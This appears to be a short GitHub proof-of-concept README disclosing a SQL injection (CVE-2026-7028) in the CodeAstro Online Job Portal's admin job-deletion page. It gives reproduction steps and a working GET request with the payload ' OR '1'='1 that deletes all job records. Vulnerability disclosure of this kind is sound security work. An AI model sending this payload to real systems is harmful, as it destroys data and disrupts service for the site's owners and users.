xmyronn/cve-2026-7028-sqliProof-of-concept exploit for SQL injection in CodeAstro Online Job Portal allowing authenticated deletion of all job records via crafted GET request.
A SQL injection vulnerability was identified in the admin job deletion feature of the CodeAstro Online Job Portal.
The application uses the id parameter directly in the SQL query without proper validation or parameter binding. Because of this, an attacker can modify the query by injecting malicious input.
By exploiting this issue, an authenticated user can alter the intended query logic and delete all job records from the database instead of just a single entry.
Login to the admin panel.
Go to:
/admin/jobs-admins/show-jobs.php
Verify multiple job entries exist.
Send the following request:
GET /admin/jobs-admins/delete-jobs.php?id=48' OR '1'='1 HTTP/1.1
Host: target
All job entries are deleted from the database instead of only one.
' OR '1'='1
An authenticated attacker can delete all job postings in the system, leading to complete data loss and disruption of service.
